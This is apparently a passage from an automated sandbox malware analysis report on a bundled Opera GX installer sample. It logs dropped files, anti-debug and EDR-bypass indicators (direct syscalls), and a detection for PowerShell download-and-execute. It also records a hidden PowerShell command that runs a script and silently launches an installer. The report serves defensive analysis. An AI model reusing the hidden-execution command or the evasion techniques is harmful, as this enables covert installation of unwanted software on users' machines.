      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Opera_installer_2410130831051178136.dllJump to dropped file
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\opera_gx_splash.exeJump to dropped file
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Opera_installer_2410130831030207920.dllJump to dropped file
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\vk_swiftshader.dllJump to dropped file
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\opera_packageJump to dropped file
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\libEGL.dllJump to dropped file
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\installer.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Opera_installer_2410130833548756616.dllJump to dropped file
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exeEvaded block: after key decisiongraph_21-67701
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exeEvasive API call chain: GetSystemTimeAsFileTime,DecisionNodesgraph_20-56643
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exeAPI coverage: 7.0 %
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exeAPI coverage: 5.8 %
      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7660Thread sleep count: 4905 > 30Jump to behavior
      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7660Thread sleep count: 4841 > 30Jump to behavior
      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7692Thread sleep time: -24903104499507879s >= -30000sJump to behavior
      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7712Thread sleep time: -3689348814741908s >= -30000sJump to behavior
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe TID: 4144Thread sleep time: -922337203685477s >= -30000s
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeKey opened: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Keyboard Layouts\d0010809
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeKey opened: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Keyboard Layouts\d0010809
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\autoupdate\opera_autoupdate.exeWMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BaseBoard
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\autoupdate\opera_autoupdate.exeWMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_ComputerSystemProduct
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\autoupdate\opera_autoupdate.exeWMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_Processor
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeFile Volume queried: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A FullSizeInformationJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeFile Volume queried: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A FullSizeInformationJump to behavior
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\installer.exeFile Volume queried: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A FullSizeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\installer.exeFile Volume queried: C:\ FullSizeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeFile Volume queried: C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Code Cache\js FullSizeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeFile Volume queried: C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Code Cache\wasm FullSizeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeFile Volume queried: C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable FullSizeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeFile Volume queried: C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable FullSizeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeFile Volume queried: C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable FullSizeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeFile Volume queried: C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\blob_storage\6abba35f-f2c4-4cb3-8724-1c2dcc131a6d FullSizeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeFile Volume queried: C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable FullSizeInformation
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\Opera_GX_assistant_73.0.3856.382_Setup.exe_sfx.exeCode function: 19_2_004033B3 GetFileAttributesW,SetLastError,FindFirstFileW,FindClose,CompareFileTime,19_2_004033B3
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\Opera_GX_assistant_73.0.3856.382_Setup.exe_sfx.exeCode function: 19_2_00402F12 FindFirstFileW,SetFileAttributesW,lstrcmpW,lstrcmpW,SetFileAttributesW,DeleteFileW,FindNextFileW,FindClose,SetFileAttributesW,RemoveDirectoryW,??3@YAXPAX@Z,??3@YAXPAX@Z,19_2_00402F12
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exeCode function: 20_2_00759120 PathMatchSpecW,FindNextFileW,FindClose,FindFirstFileExW,GetLastError,GetFileAttributesW,20_2_00759120
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exeCode function: 20_2_007E9AE2 FindFirstFileExW,20_2_007E9AE2
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exeCode function: 21_2_00759120 PathMatchSpecW,FindNextFileW,FindClose,FindFirstFileExW,GetLastError,GetFileAttributesW,21_2_00759120
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exeCode function: 21_2_007E9AE2 FindFirstFileExW,21_2_007E9AE2
      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeThread delayed: delay time: 922337203685477
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\installer.exeFile opened: C:\Users\user\AppData\Local\Temp
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\installer.exeFile opened: C:\Users\user
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\installer.exeFile opened: C:\Users\user\AppData\Local
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\installer.exeFile opened: C:\Users\user\AppData\Local\Temp\.opera
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\installer.exeFile opened: C:\Users\user\AppData
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\installer.exeFile opened: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp
      Source: SecuriteInfo.com.FileRepMalware.27261.32754.tmp, 00000003.00000003.1354859380.0000000000895000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000002.3460882271.00000000011AC000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.1508590817.00000000011A8000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.3454547122.00000000011AB000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000002.3460220792.000000000110B000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW
      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information queried: ProcessInformationJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exeCode function: 20_2_0075A6D0 rdtsc 20_2_0075A6D0
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exeCode function: 20_2_00756AE0 GetCurrentThread,IsDebuggerPresent,GetCurrentThreadId,__Init_thread_header,GetModuleHandleW,GetProcAddress,__Init_thread_footer,20_2_00756AE0
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\Opera_GX_assistant_73.0.3856.382_Setup.exe_sfx.exeCode function: 19_2_0040239B LoadLibraryA,GetProcAddress,GetNativeSystemInfo,19_2_0040239B
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exeCode function: 20_2_008497FB mov eax, dword ptr fs:[00000030h]20_2_008497FB
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exeCode function: 20_2_00837C65 mov eax, dword ptr fs:[00000030h]20_2_00837C65
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exeCode function: 21_2_008497FB mov eax, dword ptr fs:[00000030h]21_2_008497FB
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exeCode function: 21_2_00837C65 mov eax, dword ptr fs:[00000030h]21_2_00837C65
      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: DebugJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exeCode function: 20_2_0076AD1E GetCurrentProcessId,CreateEventW,CreateEventW,CreateEventW,CreateEventW,SetUnhandledExceptionFilter,CreateThread,20_2_0076AD1E
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exeCode function: 20_2_007B206C SetUnhandledExceptionFilter,SetConsoleCtrlHandler,_strlen,_strlen,_strlen,_strlen,_strlen,SetUnhandledExceptionFilter,_strlen,_strlen,SetProcessShutdownParameters,__Init_thread_header,__Init_thread_footer,_strlen,20_2_007B206C
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exeCode function: 20_2_0076C3B6 GetCurrentProcessId,SetUnhandledExceptionFilter,20_2_0076C3B6
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exeCode function: 20_2_0082A428 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,20_2_0082A428
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exeCode function: 20_2_00701C00 SetUnhandledExceptionFilter,20_2_00701C00
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exeCode function: 20_2_0076ACEE GetCurrentProcessId,CreateEventW,CreateEventW,CreateEventW,CreateEventW,SetUnhandledExceptionFilter,CreateThread,20_2_0076ACEE
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exeCode function: 20_2_0083BE76 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,20_2_0083BE76
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exeCode function: 21_2_007B206C SetUnhandledExceptionFilter,SetConsoleCtrlHandler,_strlen,_strlen,_strlen,_strlen,_strlen,SetUnhandledExceptionFilter,_strlen,_strlen,SetProcessShutdownParameters,__Init_thread_header,__Init_thread_footer,_strlen,21_2_007B206C
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exeCode function: 21_2_0076C3B6 GetCurrentProcessId,SetUnhandledExceptionFilter,21_2_0076C3B6
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exeCode function: 21_2_0082A428 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,21_2_0082A428
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exeCode function: 21_2_0076AD1E GetCurrentProcessId,CreateEventW,CreateEventW,CreateEventW,CreateEventW,SetUnhandledExceptionFilter,CreateThread,21_2_0076AD1E
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exeCode function: 21_2_00701C00 SetUnhandledExceptionFilter,21_2_00701C00
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exeCode function: 21_2_0083BE76 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,21_2_0083BE76

      HIPS / PFW / Operating System Protection Evasion

      barindex
      Yara detected Powershell download and execute
      Source: Yara matchFile source: amsi32_7612.amsi.csv, type: OTHER
      Source: Yara matchFile source: Process Memory Space: SecuriteInfo.com.FileRepMalware.27261.32754.tmp PID: 7384, type: MEMORYSTR
      Found direct / indirect Syscall (likely to bypass EDR)
      Source: C:\Program Files (x86)\yUccssJEPrTdXUZGppefYQXvLIULRTtBJBzNaPGkLySlwtZDZ\MfpbxBQuepbP.exeNtMapViewOfSection: Direct from: 0x77762D1C
      Source: C:\Program Files (x86)\yUccssJEPrTdXUZGppefYQXvLIULRTtBJBzNaPGkLySlwtZDZ\MfpbxBQuepbP.exeNtUnmapViewOfSection: Direct from: 0x77762D3C
      Source: C:\Program Files (x86)\yUccssJEPrTdXUZGppefYQXvLIULRTtBJBzNaPGkLySlwtZDZ\MfpbxBQuepbP.exeNtCreateMutant: Direct from: 0x777635CC
      Source: C:\Program Files (x86)\yUccssJEPrTdXUZGppefYQXvLIULRTtBJBzNaPGkLySlwtZDZ\MfpbxBQuepbP.exeNtQueryVolumeInformationFile: Direct from: 0x77762F2C
      Source: C:\Program Files (x86)\yUccssJEPrTdXUZGppefYQXvLIULRTtBJBzNaPGkLySlwtZDZ\MfpbxBQuepbP.exeNtOpenSection: Direct from: 0x77762E0C
      Source: C:\Program Files (x86)\yUccssJEPrTdXUZGppefYQXvLIULRTtBJBzNaPGkLySlwtZDZ\MfpbxBQuepbP.exeNtAddAtomEx: Direct from: 0x7776312C
      Source: C:\Program Files (x86)\yUccssJEPrTdXUZGppefYQXvLIULRTtBJBzNaPGkLySlwtZDZ\MfpbxBQuepbP.exeNtDeviceIoControlFile: Direct from: 0x77762AEC
      Source: C:\Program Files (x86)\yUccssJEPrTdXUZGppefYQXvLIULRTtBJBzNaPGkLySlwtZDZ\MfpbxBQuepbP.exeNtAllocateVirtualMemory: Direct from: 0x77762BFC
      Source: C:\Program Files (x86)\yUccssJEPrTdXUZGppefYQXvLIULRTtBJBzNaPGkLySlwtZDZ\MfpbxBQuepbP.exeNtQueryValueKey: Direct from: 0x77762BEC
      Source: C:\Program Files (x86)\yUccssJEPrTdXUZGppefYQXvLIULRTtBJBzNaPGkLySlwtZDZ\MfpbxBQuepbP.exeNtSetInformationThread: Direct from: 0x77762ECC
      Source: C:\Program Files (x86)\yUccssJEPrTdXUZGppefYQXvLIULRTtBJBzNaPGkLySlwtZDZ\MfpbxBQuepbP.exeNtTerminateThread: Direct from: 0x77762FCC
      Source: C:\Program Files (x86)\yUccssJEPrTdXUZGppefYQXvLIULRTtBJBzNaPGkLySlwtZDZ\MfpbxBQuepbP.exeNtCreateFile: Direct from: 0x77762FEC
      Source: C:\Program Files (x86)\yUccssJEPrTdXUZGppefYQXvLIULRTtBJBzNaPGkLySlwtZDZ\MfpbxBQuepbP.exeNtOpenFile: Direct from: 0x77762DCC
      Source: C:\Program Files (x86)\yUccssJEPrTdXUZGppefYQXvLIULRTtBJBzNaPGkLySlwtZDZ\MfpbxBQuepbP.exeNtQueryInformationProcess: Direct from: 0x77762C26
      Source: C:\Program Files (x86)\yUccssJEPrTdXUZGppefYQXvLIULRTtBJBzNaPGkLySlwtZDZ\MfpbxBQuepbP.exeNtOpenKeyEx: Direct from: 0x77763C9C
      Source: C:\Program Files (x86)\yUccssJEPrTdXUZGppefYQXvLIULRTtBJBzNaPGkLySlwtZDZ\MfpbxBQuepbP.exeNtOpenKeyEx: Direct from: 0x77762B9C
      Source: C:\Program Files (x86)\yUccssJEPrTdXUZGppefYQXvLIULRTtBJBzNaPGkLySlwtZDZ\MfpbxBQuepbP.exeNtSetInformationProcess: Direct from: 0x77762C5C
      Source: C:\Program Files (x86)\yUccssJEPrTdXUZGppefYQXvLIULRTtBJBzNaPGkLySlwtZDZ\MfpbxBQuepbP.exeNtQueryAttributesFile: Direct from: 0x77762E6C
      Source: C:\Program Files (x86)\yUccssJEPrTdXUZGppefYQXvLIULRTtBJBzNaPGkLySlwtZDZ\MfpbxBQuepbP.exeNtClose: Direct from: 0x77762B6C
      Source: C:\Program Files (x86)\yUccssJEPrTdXUZGppefYQXvLIULRTtBJBzNaPGkLySlwtZDZ\MfpbxBQuepbP.exeNtReadVirtualMemory: Direct from: 0x77762E8C
      Source: C:\Program Files (x86)\yUccssJEPrTdXUZGppefYQXvLIULRTtBJBzNaPGkLySlwtZDZ\MfpbxBQuepbP.exeNtProtectVirtualMemory: Direct from: 0x77762F9C
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Powershell.exe -WindowStyle hidden -executionpolicy remotesigned -File onesave.ps1Jump to behavior
      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Users\user\AppData\Local\Temp\is-GJEPE.tmp\f_1.exe "./f_1.exe" --silent --allusers=0Jump to behavior
      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: unknown unknownJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeProcess created: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe C:\Users\user~1\AppData\Local\Temp\7zSC6E64E0A\setup.exe --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Crash Reports" "--crash-count-file=C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\crash_count.txt" --url=https://crashstats-collector-2.opera.com/ --annotation=channel=Stable --annotation=plat=Win32 --annotation=prod=OperaDesktopGX --annotation=ver=114.0.5282.93 --initial-client-data=0x324,0x328,0x32c,0x300,0x330,0x69288c0c,0x69288c18,0x69288c24Jump to behavior
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeProcess created: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe "C:\Users\user~1\AppData\Local\Temp\7zSC6E64E0A\setup.exe" --backend --install --import-browser-data=0 --enable-stats=1 --enable-installer-stats=1 --consent-given=0 --general-interests=0 --general-location=0 --personalized-content=0 --personalized-ads=0 --vought_browser=0 --launchopera=1 --installfolder="C:\Users\user\AppData\Local\Programs\Opera GX" --profile-folder --language=en-GB --singleprofile=0 --copyonly=0 --allusers=0 --setdefaultbrowser=1 --pintotaskbar=1 --pintostartmenu=1 --run-at-startup=1 --server-tracking-data=server_tracking_data --initial-pid=7884 --package-dir-prefix="C:\Users\user~1\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_20241013043104" --session-guid=f5f8173d-e790-498e-903f-765161af7b2d --server-tracking-blob=MzM3YmQyMjk0NzZiNWY1YjBkNGY0OTgwMDk2ZjUyOGEyNmI5ZmFlN2UxNTJiNTZkYWZhZDVhYjk3NWFjMjMwOTp7ImNvdW50cnkiOiJVUyIsImVkaXRpb24iOiJzdGQtMiIsImluc3RhbGxlcl9uYW1lIjoiT3BlcmFHWFNldHVwLmV4ZSIsInByb2R1Y3QiOnsibmFtZSI6Im9wZXJhX2d4In0sInF1ZXJ5IjoiL29wZXJhX2d4L3N0YWJsZS9lZGl0aW9uL3N0ZC0yP3V0bV9zb3VyY2U9UFdOZ2FtZXMmdXRtX21lZGl1bT1wYSZ1dG1fY2FtcGFpZ249UFdOX1VTX1BCM19ERF8zNjYxJnV0bV9pZD0yYmFmZGVmMjY0MTg0MDIxOTE1NWU5MDk0ZjJlZDNhOSZ1dG1fY29udGVudD0zNjYxXzI5MTAiLCJzeXN0ZW0iOnsicGxhdGZvcm0iOnsiYXJjaCI6Ing4Nl82NCIsIm9wc3lzIjoiV2luZG93cyIsIm9wc3lzLXZlcnNpb24iOiIxMCIsInBhY2thZ2UiOiJFWEUifX0sInRpbWVzdGFtcCI6IjE3Mjg4MDQ1NzIuMzIwMyIsInVzZXJhZ2VudCI6Iklubm9Eb3dubG9hZFBsdWdpbi8xLjUiLCJ1dG0iOnsiY2FtcGFpZ24iOiJQV05fVVNfUEIzX0REXzM2NjEiLCJjb250ZW50IjoiMzY2MV8yOTEwIiwiaWQiOiIyYmFmZGVmMjY0MTg0MDIxOTE1NWU5MDk0ZjJlZDNhOSIsIm1lZGl1bSI6InBhIiwic291cmNlIjoiUFdOZ2FtZXMifSwidXVpZCI6ImZkM2VmZWRjLWI4MTEtNDEwOC1hMjQwLTk3ZjJkYjRkMGVjZSJ9 --silent --desktopshortcut=1 --wait-for-package --initial-proc-handle=E805000000000000Jump to behavior
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeProcess created: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exe "C:\Users\user~1\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exe" --versionJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeProcess created: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe C:\Users\user~1\AppData\Local\Temp\7zSC6E64E0A\setup.exe --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Crash Reports" "--crash-count-file=C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\crash_count.txt" --url=https://crashstats-collector-2.opera.com/ --annotation=channel=Stable --annotation=plat=Win32 --annotation=prod=OperaDesktopGX --annotation=ver=114.0.5282.93 --initial-client-data=0x340,0x344,0x348,0x304,0x30c,0x68488c0c,0x68488c18,0x68488c24Jump to behavior
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exeProcess created: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exe "C:\Users\user~1\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exe" --type=crashpad-handler /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Crash Reports" "--crash-count-file=C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\crash_count.txt" --url=https://crashstats-collector.opera.com/collector/submit --annotation=channel=Stable --annotation=plat=Win32 --annotation=prod=OperaDesktopGX --annotation=ver=73.0.3856.382 --initial-client-data=0x270,0x274,0x278,0x24c,0x27c,0x8a4f48,0x8a4f58,0x8a4f64Jump to behavior
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\installer.exeProcess created: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\installer.exe "C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\installer.exe" --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Crash Reports" "--crash-count-file=C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\crash_count.txt" --url=https://crashstats-collector-2.opera.com/ --annotation=channel=Stable --annotation=plat=Win64 --annotation=prod=OperaDesktopGX --annotation=ver=114.0.5282.93 --initial-client-data=0x258,0x278,0x27c,0x254,0x280,0x7ffb0c359d80,0x7ffb0c359d8c,0x7ffb0c359d98
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeProcess created: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\opera_crashreporter.exe "C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\opera_crashreporter.exe" --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Crash Reports" "--crash-count-file=C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\crash_count.txt" --url=https://crashstats-collector-2.opera.com/ --annotation=channel=Stable --annotation=plat=Win64 --annotation=prod=OperaDesktopGX --annotation=ver=114.0.5282.93 --initial-client-data=0x1dc,0x1e0,0x1e4,0x1d8,0x1e8,0x7ffb0accac08,0x7ffb0accac18,0x7ffb0accac28
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\autoupdate\opera_autoupdate.exeProcess created: C:\Users\user\AppData\Local\Programs\Opera GX\autoupdate\opera_autoupdate.exe "C:\Users\user\AppData\Local\Programs\Opera GX\autoupdate\opera_autoupdate.exe" --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Crash Reports" "--crash-count-file=C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\crash_count.txt" --url=https://crashstats-collector-2.opera.com/ --annotation=channel=Stable --annotation=plat=Win64 --annotation=prod=OperaDesktopGX --annotation=ver=114.0.5282.93 --initial-client-data=0x22c,0x230,0x234,0x208,0x238,0x7ff7c794669c,0x7ff7c79466a8,0x7ff7c79466b8
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeProcess created: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\opera_crashreporter.exe "C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\opera_crashreporter.exe" --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Crash Reports" "--crash-count-file=C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\crash_count.txt" --url=https://crashstats-collector-2.opera.com/ --annotation=channel=Stable --annotation=plat=Win64 --annotation=prod=OperaDesktopGX --annotation=ver=114.0.5282.93 --initial-client-data=0x1e8,0x1ec,0x1f0,0x1e4,0x1f4,0x7ffb0accac08,0x7ffb0accac18,0x7ffb0accac28
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeProcess created: unknown unknown
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeProcess created: unknown unknown
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeProcess created: unknown unknown
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeProcess created: unknown unknown
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeProcess created: unknown unknown
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeProcess created: unknown unknown
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeProcess created: unknown unknown
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeProcess created: unknown unknown
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeProcess created: unknown unknown
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeProcess created: unknown unknown
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeProcess created: unknown unknown
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeProcess created: unknown unknown
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeProcess created: unknown unknown
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeProcess created: unknown unknown
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeProcess created: unknown unknown
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeProcess created: unknown unknown
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeProcess created: unknown unknown
